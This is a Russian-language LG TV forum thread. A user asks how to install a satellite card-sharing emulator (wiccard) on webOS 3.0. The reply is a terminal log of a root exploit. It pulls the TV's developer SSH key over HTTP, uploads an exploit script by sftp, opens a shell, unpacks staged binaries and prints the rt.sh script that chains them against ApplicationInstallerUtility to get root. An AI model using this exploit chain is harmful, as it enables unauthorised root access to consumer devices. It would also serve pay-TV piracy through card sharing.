potapich09 писал(а):Здравствуйте! Скажите пожалуйста знающие люди, можно ли приладить на webos 3.0 эмулятор wiccard для спутникового шаринга? Если не сложно разъясните как это можно сделать. Если это возможно.
$ curl -o lg_tv_webos.id_rsa http://<lg_tv_ip>:9991/webos_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1766 0 1766 0 0 18344 0 --:--:-- --:--:-- --:--:-- 18206
$ echo $?
0
$ sftp -i lg_tv_webos.id_rsa -P 9922 prisoner@<lg_tv_ip>:/media/developer
Enter passphrase for key 'lg_tv_webos.id_rsa':
Connected to <lg_tv_ip>.
Changing to: /media/developer
sftp> put zalil.su_6937580_root_exploit.sh
Uploading zalil.su_6937580_root_exploit.sh to /media/developer/zalil.su_6937580_root_exploit.sh
zalil.su_6937580_root_exploit.sh 100% 27KB 26.6KB/s 00:00
sftp> quit
$ ssh -i lg_tv_webos.id_rsa -p 9922 prisoner@<lg_tv_ip> '/bin/sh -i'
Enter passphrase for key 'lg_tv_webos.id_rsa':
/bin/sh: can't access tty; job control turned off
/media/developer $ uname -a
Linux LG_TV 4.4.3-73.dorrigo.2 #1 SMP PREEMPT Wed Jun 7 18:51:13 KST 2017 armv7l GNU/Linux
/media/developer $ id
uid=6872(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)
/media/developer $ ls -lA
total 52
drwxr-xr-x 2 develope develope 4096 Oct 30 01:23 .ssh
-rw-r--r-- 1 6494 5000 13195 Oct 30 01:22 jail_app.conf
-rw-r--r-- 1 6494 5000 1631 Oct 30 01:22 jail_app.conf.sig
lrwxrwxrwx 1 root root 18 Oct 30 01:23 log -> /tmp/developer/log
-rwxr-x--- 1 prisoner 5000 27261 Oct 30 01:35 zalil.su_6937580_root_exploit.sh
/media/developer $
/media/developer $ sed -re '1,/^PAYLOAD:/d' < zalil.su_6937580_root_exploit.sh | tar xzf -
tar: .: Cannot utime: Operation not permitted
tar: Error exit delayed from previous errors
/media/developer $ ls -lA
total 128
drwxr-xr-x 2 develope develope 4096 Oct 30 01:23 .ssh
-rwxr-xr-x 1 prisoner 5000 16236 Jul 28 07:49 firstg
-rw-r--r-- 1 6494 5000 13195 Oct 30 01:22 jail_app.conf
-rw-r--r-- 1 6494 5000 1631 Oct 30 01:22 jail_app.conf.sig
lrwxrwxrwx 1 root root 18 Oct 30 01:23 log -> /tmp/developer/log
-rwxr-xr-x 1 prisoner 5000 168 Jul 28 07:50 rep
-rwxr-xr-x 1 prisoner 5000 416 Jul 28 08:05 rt.sh
-rwxr-xr-x 1 prisoner 5000 39987 Jul 28 07:49 secstg
-rwxr-xr-x 1 prisoner 5000 11052 Jul 28 07:54 su
-rwxr-x--- 1 prisoner 5000 27261 Oct 30 01:35 zalil.su_6937580_root_exploit.sh
/media/developer $ cat rt.sh
#!/bin/sh
echo "first stage"
./firstg /usr/bin/ApplicationInstallerUtility rep > /dev/null 2>&1
sleep 2
echo "second stage"
./secstg > /dev/null 2>&1
sleep 2
echo "third stage - "
echo "try install any app from market"
echo "wait..."
while [ ! -f /dev/shm/test/su ]
do
sleep 2
echo "try install any app from market"
done
sleep 1
echo "third stage ok"
echo "try get root - input password 1111"
/dev/shm/test/su
/media/developer $
/media/developer $ ls -l /usr/bin/ApplicationInstallerUtility
-rwxr-xr-x 1 root root 17704 Jun 7 11:59 /usr/bin/ApplicationInstallerUtility
/media/developer $ md5sum /usr/bin/ApplicationInstallerUtility
0565681a56c81ac655e6e405b5dc67b9 /usr/bin/ApplicationInstallerUtility
/media/developer $ ./firstg /usr/bin/ApplicationInstallerUtility rep
mmap 76d35000
168 0
/media/developer $ echo $?
0
/media/developer $ ls -l /usr/bin/ApplicationInstallerUtility
-rwxr-xr-x 1 root root 17704 Jun 7 11:59 /usr/bin/ApplicationInstallerUtility
/media/developer $ md5sum /usr/bin/ApplicationInstallerUtility
0565681a56c81ac655e6e405b5dc67b9 /usr/bin/ApplicationInstallerUtility
/media/developer $
Вернуться в Телевизоры LG - Обсуждение